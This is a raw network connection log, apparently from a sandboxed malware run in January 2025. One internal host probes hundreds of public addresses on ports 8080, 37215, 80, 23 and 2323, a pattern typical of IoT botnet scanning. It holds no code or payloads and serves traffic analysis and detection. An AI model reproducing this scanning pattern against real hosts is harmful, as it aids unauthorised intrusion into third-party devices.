Jan 26, 2025 01:43:31.330285072 CET	50012	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:31.330332994 CET	50012	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:31.330343962 CET	45698	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:31.330346107 CET	34244	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:31.335282087 CET	8080	34244	94.202.11.67	192.168.2.13
Jan 26, 2025 01:43:31.335350990 CET	34244	8080	192.168.2.13	94.202.11.67
Jan 26, 2025 01:43:31.335426092 CET	8080	45698	62.142.130.200	192.168.2.13
Jan 26, 2025 01:43:31.335469961 CET	45698	8080	192.168.2.13	62.142.130.200
Jan 26, 2025 01:43:31.335481882 CET	8080	50012	95.121.127.222	192.168.2.13
Jan 26, 2025 01:43:31.335521936 CET	50012	8080	192.168.2.13	95.121.127.222
Jan 26, 2025 01:43:31.357352972 CET	53890	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:31.357352972 CET	36932	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:31.357359886 CET	54088	8080	192.168.2.13	31.163.144.52
Jan 26, 2025 01:43:31.357362986 CET	60148	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:31.357363939 CET	41480	8080	192.168.2.13	94.226.196.207
Jan 26, 2025 01:43:31.357371092 CET	56378	8080	192.168.2.13	95.112.168.152
Jan 26, 2025 01:43:31.357371092 CET	49644	8080	192.168.2.13	94.133.95.115
Jan 26, 2025 01:43:31.357373953 CET	44478	8080	192.168.2.13	62.98.18.63
Jan 26, 2025 01:43:31.357373953 CET	42146	8080	192.168.2.13	85.58.13.188
Jan 26, 2025 01:43:31.357393026 CET	46382	8080	192.168.2.13	94.110.195.238
Jan 26, 2025 01:43:31.357393980 CET	47346	8080	192.168.2.13	95.159.17.131
Jan 26, 2025 01:43:31.357476950 CET	49730	8080	192.168.2.13	94.36.100.207
Jan 26, 2025 01:43:31.362273932 CET	8080	60148	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:31.362284899 CET	8080	53890	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:31.362294912 CET	8080	36932	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:31.362335920 CET	60148	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:31.362340927 CET	36932	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:31.362377882 CET	36932	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:31.362379074 CET	60148	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:31.362427950 CET	53890	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:31.362427950 CET	53890	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:31.367408037 CET	8080	60148	62.80.103.35	192.168.2.13
Jan 26, 2025 01:43:31.367455006 CET	60148	8080	192.168.2.13	62.80.103.35
Jan 26, 2025 01:43:31.367605925 CET	8080	36932	62.244.248.253	192.168.2.13
Jan 26, 2025 01:43:31.367623091 CET	8080	53890	95.248.89.70	192.168.2.13
Jan 26, 2025 01:43:31.367645979 CET	36932	8080	192.168.2.13	62.244.248.253
Jan 26, 2025 01:43:31.367680073 CET	53890	8080	192.168.2.13	95.248.89.70
Jan 26, 2025 01:43:31.389353037 CET	38374	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:31.389355898 CET	59910	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:31.389359951 CET	60630	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:31.389363050 CET	36016	8080	192.168.2.13	62.78.216.122
Jan 26, 2025 01:43:31.389367104 CET	57068	8080	192.168.2.13	95.180.145.48
Jan 26, 2025 01:43:31.389375925 CET	60628	8080	192.168.2.13	95.177.209.76
Jan 26, 2025 01:43:31.389384031 CET	40068	8080	192.168.2.13	62.86.132.58
Jan 26, 2025 01:43:31.394671917 CET	8080	38374	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:31.394685030 CET	8080	60630	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:31.394695044 CET	8080	59910	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:31.394759893 CET	38374	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:31.394769907 CET	59910	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:31.394771099 CET	60630	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:31.394792080 CET	60630	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:31.394846916 CET	38374	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:31.394849062 CET	59910	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:31.400250912 CET	8080	38374	95.21.145.118	192.168.2.13
Jan 26, 2025 01:43:31.400785923 CET	8080	59910	94.73.236.43	192.168.2.13
Jan 26, 2025 01:43:31.400796890 CET	8080	60630	31.178.80.236	192.168.2.13
Jan 26, 2025 01:43:31.400855064 CET	38374	8080	192.168.2.13	95.21.145.118
Jan 26, 2025 01:43:31.400856972 CET	59910	8080	192.168.2.13	94.73.236.43
Jan 26, 2025 01:43:31.400859118 CET	60630	8080	192.168.2.13	31.178.80.236
Jan 26, 2025 01:43:31.613519907 CET	39278	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:31.613523960 CET	53122	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:31.613526106 CET	47306	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:31.613523960 CET	44248	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:31.613528967 CET	34690	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:31.613528967 CET	47034	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:31.613528967 CET	51696	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:31.613528967 CET	32944	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:31.613564968 CET	59840	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:31.613622904 CET	36030	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:31.618619919 CET	37215	47306	197.227.72.33	192.168.2.13
Jan 26, 2025 01:43:31.618658066 CET	37215	39278	197.76.51.130	192.168.2.13
Jan 26, 2025 01:43:31.618669033 CET	37215	53122	197.209.30.89	192.168.2.13
Jan 26, 2025 01:43:31.618680000 CET	37215	44248	197.160.119.203	192.168.2.13
Jan 26, 2025 01:43:31.618697882 CET	37215	34690	197.160.10.217	192.168.2.13
Jan 26, 2025 01:43:31.618710041 CET	37215	47034	197.184.98.53	192.168.2.13
Jan 26, 2025 01:43:31.618720055 CET	37215	59840	197.158.91.95	192.168.2.13
Jan 26, 2025 01:43:31.618730068 CET	37215	51696	197.209.202.165	192.168.2.13
Jan 26, 2025 01:43:31.618738890 CET	37215	32944	197.3.150.5	192.168.2.13
Jan 26, 2025 01:43:31.618747950 CET	37215	36030	197.6.191.189	192.168.2.13
Jan 26, 2025 01:43:31.618760109 CET	47306	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:31.618786097 CET	53122	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:31.618791103 CET	39278	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:31.618791103 CET	59840	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:31.618794918 CET	34690	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:31.618812084 CET	44248	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:31.618813992 CET	36030	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:31.618839025 CET	47034	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:31.618839025 CET	51696	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:31.618853092 CET	32944	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:31.619383097 CET	51696	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:31.619410992 CET	44248	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:31.619411945 CET	59840	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:31.619410992 CET	53122	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:31.619436026 CET	36030	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:31.619452000 CET	47034	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:31.619452000 CET	34690	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:31.619474888 CET	32944	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:31.619481087 CET	47306	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:31.619524002 CET	39278	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:31.619545937 CET	44248	37215	192.168.2.13	197.160.119.203
Jan 26, 2025 01:43:31.619545937 CET	51696	37215	192.168.2.13	197.209.202.165
Jan 26, 2025 01:43:31.619549990 CET	59840	37215	192.168.2.13	197.158.91.95
Jan 26, 2025 01:43:31.619565964 CET	53122	37215	192.168.2.13	197.209.30.89
Jan 26, 2025 01:43:31.619566917 CET	36030	37215	192.168.2.13	197.6.191.189
Jan 26, 2025 01:43:31.619571924 CET	47034	37215	192.168.2.13	197.184.98.53
Jan 26, 2025 01:43:31.619571924 CET	32944	37215	192.168.2.13	197.3.150.5
Jan 26, 2025 01:43:31.619571924 CET	34690	37215	192.168.2.13	197.160.10.217
Jan 26, 2025 01:43:31.619575977 CET	47306	37215	192.168.2.13	197.227.72.33
Jan 26, 2025 01:43:31.619621992 CET	39278	37215	192.168.2.13	197.76.51.130
Jan 26, 2025 01:43:31.624188900 CET	37215	51696	197.209.202.165	192.168.2.13
Jan 26, 2025 01:43:31.624224901 CET	37215	59840	197.158.91.95	192.168.2.13
Jan 26, 2025 01:43:31.624275923 CET	37215	44248	197.160.119.203	192.168.2.13
Jan 26, 2025 01:43:31.624285936 CET	37215	53122	197.209.30.89	192.168.2.13
Jan 26, 2025 01:43:31.624325037 CET	37215	36030	197.6.191.189	192.168.2.13
Jan 26, 2025 01:43:31.624336004 CET	37215	47034	197.184.98.53	192.168.2.13
Jan 26, 2025 01:43:31.624363899 CET	37215	34690	197.160.10.217	192.168.2.13
Jan 26, 2025 01:43:31.624373913 CET	37215	32944	197.3.150.5	192.168.2.13
Jan 26, 2025 01:43:31.624494076 CET	37215	47306	197.227.72.33	192.168.2.13
Jan 26, 2025 01:43:31.624502897 CET	37215	39278	197.76.51.130	192.168.2.13
Jan 26, 2025 01:43:31.645400047 CET	36282	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:31.645581961 CET	53584	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:31.645586014 CET	32968	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:31.645589113 CET	51252	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:31.645589113 CET	38302	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:31.645589113 CET	33348	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:31.645591974 CET	47932	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:31.645591974 CET	35172	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:31.645606041 CET	38338	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:31.645610094 CET	54432	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:31.645610094 CET	43364	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:31.645610094 CET	38492	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:31.645610094 CET	52646	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:31.645610094 CET	52372	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:31.645618916 CET	40184	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:31.645618916 CET	52274	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:31.645618916 CET	34462	37215	192.168.2.13	197.246.105.113
Jan 26, 2025 01:43:31.645618916 CET	35742	37215	192.168.2.13	197.175.127.249
Jan 26, 2025 01:43:31.645618916 CET	40364	37215	192.168.2.13	197.69.26.0
Jan 26, 2025 01:43:31.645618916 CET	34978	37215	192.168.2.13	197.230.137.93
Jan 26, 2025 01:43:31.645631075 CET	41558	37215	192.168.2.13	197.179.96.126
Jan 26, 2025 01:43:31.645631075 CET	42796	37215	192.168.2.13	197.77.19.138
Jan 26, 2025 01:43:31.645636082 CET	57392	37215	192.168.2.13	197.146.219.217
Jan 26, 2025 01:43:31.645636082 CET	56056	37215	192.168.2.13	197.123.226.118
Jan 26, 2025 01:43:31.663372040 CET	37215	36282	197.191.89.13	192.168.2.13
Jan 26, 2025 01:43:31.663384914 CET	37215	53584	197.93.168.175	192.168.2.13
Jan 26, 2025 01:43:31.663393974 CET	37215	32968	197.195.172.21	192.168.2.13
Jan 26, 2025 01:43:31.663402081 CET	37215	51252	197.249.41.84	192.168.2.13
Jan 26, 2025 01:43:31.663409948 CET	37215	38338	197.241.17.70	192.168.2.13
Jan 26, 2025 01:43:31.663419962 CET	37215	38302	197.94.241.190	192.168.2.13
Jan 26, 2025 01:43:31.663429022 CET	37215	33348	197.180.11.22	192.168.2.13
Jan 26, 2025 01:43:31.663438082 CET	37215	40184	197.157.251.214	192.168.2.13
Jan 26, 2025 01:43:31.663448095 CET	37215	47932	197.228.189.105	192.168.2.13
Jan 26, 2025 01:43:31.663453102 CET	37215	35172	197.25.160.21	192.168.2.13
Jan 26, 2025 01:43:31.663461924 CET	37215	54432	197.250.15.88	192.168.2.13
Jan 26, 2025 01:43:31.663471937 CET	37215	52274	197.108.55.106	192.168.2.13
Jan 26, 2025 01:43:31.663480997 CET	37215	43364	197.135.176.18	192.168.2.13
Jan 26, 2025 01:43:31.663490057 CET	37215	38492	197.78.171.91	192.168.2.13
Jan 26, 2025 01:43:31.663499117 CET	37215	52646	197.22.255.19	192.168.2.13
Jan 26, 2025 01:43:31.663507938 CET	37215	52372	197.59.135.242	192.168.2.13
Jan 26, 2025 01:43:31.663619995 CET	32968	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:31.663620949 CET	38302	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:31.663620949 CET	33348	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:31.663619041 CET	53584	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:31.663623095 CET	38338	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:31.663625002 CET	51252	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:31.663624048 CET	35172	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:31.663626909 CET	54432	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:31.663626909 CET	52646	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:31.663626909 CET	43364	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:31.663624048 CET	47932	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:31.663630009 CET	36282	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:31.663630009 CET	40184	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:31.663645029 CET	38492	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:31.663645029 CET	52372	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:31.663681030 CET	52274	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:31.663882017 CET	38338	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:31.663930893 CET	40184	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:31.664000988 CET	33348	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:31.664000988 CET	35172	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:31.664042950 CET	38302	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:31.664050102 CET	51252	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:31.664064884 CET	52646	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:31.664103031 CET	38492	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:31.664103031 CET	43364	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:31.664103985 CET	32968	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:31.664119005 CET	54432	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:31.664139986 CET	53584	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:31.664140940 CET	47932	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:31.664150953 CET	52274	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:31.664166927 CET	36282	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:31.664199114 CET	38338	37215	192.168.2.13	197.241.17.70
Jan 26, 2025 01:43:31.664217949 CET	40184	37215	192.168.2.13	197.157.251.214
Jan 26, 2025 01:43:31.664230108 CET	35172	37215	192.168.2.13	197.25.160.21
Jan 26, 2025 01:43:31.664232016 CET	33348	37215	192.168.2.13	197.180.11.22
Jan 26, 2025 01:43:31.664232016 CET	38302	37215	192.168.2.13	197.94.241.190
Jan 26, 2025 01:43:31.664237976 CET	52372	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:31.664237976 CET	52646	37215	192.168.2.13	197.22.255.19
Jan 26, 2025 01:43:31.664241076 CET	51252	37215	192.168.2.13	197.249.41.84
Jan 26, 2025 01:43:31.664263010 CET	38492	37215	192.168.2.13	197.78.171.91
Jan 26, 2025 01:43:31.664263010 CET	43364	37215	192.168.2.13	197.135.176.18
Jan 26, 2025 01:43:31.664264917 CET	32968	37215	192.168.2.13	197.195.172.21
Jan 26, 2025 01:43:31.664271116 CET	53584	37215	192.168.2.13	197.93.168.175
Jan 26, 2025 01:43:31.664284945 CET	47932	37215	192.168.2.13	197.228.189.105
Jan 26, 2025 01:43:31.664292097 CET	36282	37215	192.168.2.13	197.191.89.13
Jan 26, 2025 01:43:31.664307117 CET	54432	37215	192.168.2.13	197.250.15.88
Jan 26, 2025 01:43:31.664307117 CET	52372	37215	192.168.2.13	197.59.135.242
Jan 26, 2025 01:43:31.664308071 CET	52274	37215	192.168.2.13	197.108.55.106
Jan 26, 2025 01:43:31.667087078 CET	37215	39278	197.76.51.130	192.168.2.13
Jan 26, 2025 01:43:31.667108059 CET	37215	47306	197.227.72.33	192.168.2.13
Jan 26, 2025 01:43:31.667120934 CET	37215	34690	197.160.10.217	192.168.2.13
Jan 26, 2025 01:43:31.667150974 CET	37215	32944	197.3.150.5	192.168.2.13
Jan 26, 2025 01:43:31.667162895 CET	37215	47034	197.184.98.53	192.168.2.13
Jan 26, 2025 01:43:31.667175055 CET	37215	36030	197.6.191.189	192.168.2.13
Jan 26, 2025 01:43:31.667187929 CET	37215	53122	197.209.30.89	192.168.2.13
Jan 26, 2025 01:43:31.667200089 CET	37215	59840	197.158.91.95	192.168.2.13
Jan 26, 2025 01:43:31.667220116 CET	37215	51696	197.209.202.165	192.168.2.13
Jan 26, 2025 01:43:31.667232990 CET	37215	44248	197.160.119.203	192.168.2.13
Jan 26, 2025 01:43:31.670813084 CET	37215	38338	197.241.17.70	192.168.2.13
Jan 26, 2025 01:43:31.670825958 CET	37215	40184	197.157.251.214	192.168.2.13
Jan 26, 2025 01:43:31.670850039 CET	37215	33348	197.180.11.22	192.168.2.13
Jan 26, 2025 01:43:31.670861959 CET	37215	35172	197.25.160.21	192.168.2.13
Jan 26, 2025 01:43:31.670883894 CET	37215	38302	197.94.241.190	192.168.2.13
Jan 26, 2025 01:43:31.670896053 CET	37215	51252	197.249.41.84	192.168.2.13
Jan 26, 2025 01:43:31.670975924 CET	37215	52646	197.22.255.19	192.168.2.13
Jan 26, 2025 01:43:31.670989037 CET	37215	38492	197.78.171.91	192.168.2.13
Jan 26, 2025 01:43:31.671053886 CET	37215	43364	197.135.176.18	192.168.2.13
Jan 26, 2025 01:43:31.671080112 CET	37215	32968	197.195.172.21	192.168.2.13
Jan 26, 2025 01:43:31.671092987 CET	37215	54432	197.250.15.88	192.168.2.13
Jan 26, 2025 01:43:31.671104908 CET	37215	53584	197.93.168.175	192.168.2.13
Jan 26, 2025 01:43:31.671125889 CET	37215	47932	197.228.189.105	192.168.2.13
Jan 26, 2025 01:43:31.671138048 CET	37215	52274	197.108.55.106	192.168.2.13
Jan 26, 2025 01:43:31.671211958 CET	37215	36282	197.191.89.13	192.168.2.13
Jan 26, 2025 01:43:31.671225071 CET	37215	52372	197.59.135.242	192.168.2.13
Jan 26, 2025 01:43:31.677365065 CET	45494	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.677365065 CET	57974	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:31.677369118 CET	54512	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:31.677367926 CET	42892	37215	192.168.2.13	197.60.97.243
Jan 26, 2025 01:43:31.677371025 CET	36064	37215	192.168.2.13	197.221.77.87
Jan 26, 2025 01:43:31.677367926 CET	44316	37215	192.168.2.13	197.133.101.135
Jan 26, 2025 01:43:31.677367926 CET	34452	37215	192.168.2.13	197.85.7.124
Jan 26, 2025 01:43:31.677376032 CET	38948	37215	192.168.2.13	197.213.206.165
Jan 26, 2025 01:43:31.677376032 CET	53602	37215	192.168.2.13	197.88.9.123
Jan 26, 2025 01:43:31.677376032 CET	34612	37215	192.168.2.13	197.189.185.113
Jan 26, 2025 01:43:31.677376032 CET	59826	37215	192.168.2.13	197.142.101.206
Jan 26, 2025 01:43:31.677376032 CET	52458	37215	192.168.2.13	197.231.151.54
Jan 26, 2025 01:43:31.677376032 CET	59890	37215	192.168.2.13	197.162.34.83
Jan 26, 2025 01:43:31.677376032 CET	58004	37215	192.168.2.13	197.66.210.125
Jan 26, 2025 01:43:31.677382946 CET	60344	37215	192.168.2.13	197.166.153.250
Jan 26, 2025 01:43:31.677392006 CET	35156	37215	192.168.2.13	197.114.112.230
Jan 26, 2025 01:43:31.677392006 CET	42110	37215	192.168.2.13	197.2.206.50
Jan 26, 2025 01:43:31.677418947 CET	44054	37215	192.168.2.13	197.187.10.82
Jan 26, 2025 01:43:31.677582026 CET	50566	37215	192.168.2.13	197.37.233.222
Jan 26, 2025 01:43:31.677582026 CET	33972	37215	192.168.2.13	197.25.92.216
Jan 26, 2025 01:43:31.682202101 CET	80	45494	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:31.682218075 CET	37215	54512	197.181.32.160	192.168.2.13
Jan 26, 2025 01:43:31.682230949 CET	80	57974	95.52.124.244	192.168.2.13
Jan 26, 2025 01:43:31.682284117 CET	45494	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.682302952 CET	54512	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:31.682468891 CET	54512	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:31.682468891 CET	54512	37215	192.168.2.13	197.181.32.160
Jan 26, 2025 01:43:31.682481050 CET	57974	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:31.682481050 CET	57974	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:31.682481050 CET	57974	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:31.683114052 CET	58494	80	192.168.2.13	95.52.124.244
Jan 26, 2025 01:43:31.683943987 CET	45494	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.683943987 CET	45494	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.684406996 CET	46008	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.687235117 CET	37215	54512	197.181.32.160	192.168.2.13
Jan 26, 2025 01:43:31.687381983 CET	80	57974	95.52.124.244	192.168.2.13
Jan 26, 2025 01:43:31.688755035 CET	80	45494	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:31.689188004 CET	80	46008	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:31.689270020 CET	46008	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.689270020 CET	46008	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.689872980 CET	46556	80	192.168.2.13	95.172.130.157
Jan 26, 2025 01:43:31.694282055 CET	80	46008	95.195.54.164	192.168.2.13
Jan 26, 2025 01:43:31.694341898 CET	46008	80	192.168.2.13	95.195.54.164
Jan 26, 2025 01:43:31.709491968 CET	50470	2323	192.168.2.13	217.145.248.189
Jan 26, 2025 01:43:31.709491968 CET	46380	80	192.168.2.13	95.216.110.199
Jan 26, 2025 01:43:31.709491968 CET	34710	80	192.168.2.13	95.188.234.47
Jan 26, 2025 01:43:31.709494114 CET	50710	80	192.168.2.13	95.0.96.253
Jan 26, 2025 01:43:31.709516048 CET	40402	37215	192.168.2.13	197.198.248.63
Jan 26, 2025 01:43:31.709516048 CET	58574	37215	192.168.2.13	197.1.226.173
Jan 26, 2025 01:43:31.709516048 CET	44030	37215	192.168.2.13	197.65.102.8
Jan 26, 2025 01:43:31.709517002 CET	50366	80	192.168.2.13	95.226.172.129
Jan 26, 2025 01:43:31.709521055 CET	53842	80	192.168.2.13	95.203.116.57
Jan 26, 2025 01:43:31.709521055 CET	59146	80	192.168.2.13	95.167.119.203
Jan 26, 2025 01:43:31.709521055 CET	33006	37215	192.168.2.13	197.197.129.140
Jan 26, 2025 01:43:31.709525108 CET	48724	80	192.168.2.13	95.238.169.173
Jan 26, 2025 01:43:31.709525108 CET	39468	80	192.168.2.13	95.179.94.27
Jan 26, 2025 01:43:31.709525108 CET	36338	80	192.168.2.13	95.28.200.22
Jan 26, 2025 01:43:31.709537029 CET	36316	80	192.168.2.13	95.16.31.177
Jan 26, 2025 01:43:31.709537029 CET	38612	37215	192.168.2.13	197.11.249.64
Jan 26, 2025 01:43:31.713114023 CET	45517	2323	192.168.2.13	132.25.172.90
Jan 26, 2025 01:43:31.713114023 CET	45517	23	192.168.2.13	218.85.235.7
Jan 26, 2025 01:43:31.713124990 CET	45517	23	192.168.2.13	157.13.249.56
Jan 26, 2025 01:43:31.713136911 CET	45517	23	192.168.2.13	177.95.142.217
Jan 26, 2025 01:43:31.713144064 CET	45517	23	192.168.2.13	101.172.4.208
Jan 26, 2025 01:43:31.713144064 CET	45517	23	192.168.2.13	34.10.224.75
Jan 26, 2025 01:43:31.713144064 CET	45517	23	192.168.2.13	38.121.203.96
Jan 26, 2025 01:43:31.713150978 CET	45517	23	192.168.2.13	2.26.191.254
Jan 26, 2025 01:43:31.713150978 CET	45517	23	192.168.2.13	145.55.8.2
Jan 26, 2025 01:43:31.713155031 CET	45517	23	192.168.2.13	27.184.87.184
Jan 26, 2025 01:43:31.713156939 CET	45517	2323	192.168.2.13	128.253.96.109
Jan 26, 2025 01:43:31.713156939 CET	45517	23	192.168.2.13	157.162.164.7
Jan 26, 2025 01:43:31.713169098 CET	45517	23	192.168.2.13	96.205.215.240
Jan 26, 2025 01:43:31.713170052 CET	45517	23	192.168.2.13	68.133.90.253
Jan 26, 2025 01:43:31.713169098 CET	45517	23	192.168.2.13	66.4.158.226
Jan 26, 2025 01:43:31.713179111 CET	45517	23	192.168.2.13	208.83.228.11
Jan 26, 2025 01:43:31.713184118 CET	45517	23	192.168.2.13	124.37.146.163
Jan 26, 2025 01:43:31.713184118 CET	45517	23	192.168.2.13	201.117.20.109
Jan 26, 2025 01:43:31.713188887 CET	45517	23	192.168.2.13	220.254.24.217
Jan 26, 2025 01:43:31.713192940 CET	45517	23	192.168.2.13	24.64.181.109
Jan 26, 2025 01:43:31.713196993 CET	45517	23	192.168.2.13	173.28.228.47
Jan 26, 2025 01:43:31.713200092 CET	45517	2323	192.168.2.13	19.189.171.121
Jan 26, 2025 01:43:31.713211060 CET	45517	23	192.168.2.13	168.177.109.97
Jan 26, 2025 01:43:31.713211060 CET	45517	23	192.168.2.13	64.216.192.29
Jan 26, 2025 01:43:31.713212967 CET	45517	23	192.168.2.13	212.242.3.126
Jan 26, 2025 01:43:31.713228941 CET	45517	23	192.168.2.13	219.59.187.97
Jan 26, 2025 01:43:31.713228941 CET	45517	23	192.168.2.13	172.98.10.31
Jan 26, 2025 01:43:31.713232040 CET	45517	23	192.168.2.13	126.201.175.202
Jan 26, 2025 01:43:31.713238955 CET	45517	2323	192.168.2.13	162.49.1.167
Jan 26, 2025 01:43:31.713238955 CET	45517	23	192.168.2.13	212.24.37.217
Jan 26, 2025 01:43:31.713251114 CET	45517	23	192.168.2.13	39.109.232.13
Jan 26, 2025 01:43:31.713252068 CET	45517	23	192.168.2.13	147.169.101.22
Jan 26, 2025 01:43:31.713257074 CET	45517	23	192.168.2.13	51.62.44.117
Jan 26, 2025 01:43:31.713264942 CET	45517	23	192.168.2.13	209.236.40.69
Jan 26, 2025 01:43:31.713268995 CET	45517	23	192.168.2.13	150.26.155.3
Jan 26, 2025 01:43:31.713268995 CET	45517	23	192.168.2.13	158.92.200.166
Jan 26, 2025 01:43:31.713270903 CET	45517	23	192.168.2.13	141.228.235.236
Jan 26, 2025 01:43:31.713270903 CET	45517	23	192.168.2.13	221.167.109.223
Jan 26, 2025 01:43:31.713284969 CET	45517	23	192.168.2.13	144.220.232.48
Jan 26, 2025 01:43:31.713284969 CET	45517	23	192.168.2.13	82.206.57.185
Jan 26, 2025 01:43:31.713284969 CET	45517	2323	192.168.2.13	77.164.237.232
Jan 26, 2025 01:43:31.713284969 CET	45517	23	192.168.2.13	206.27.255.29
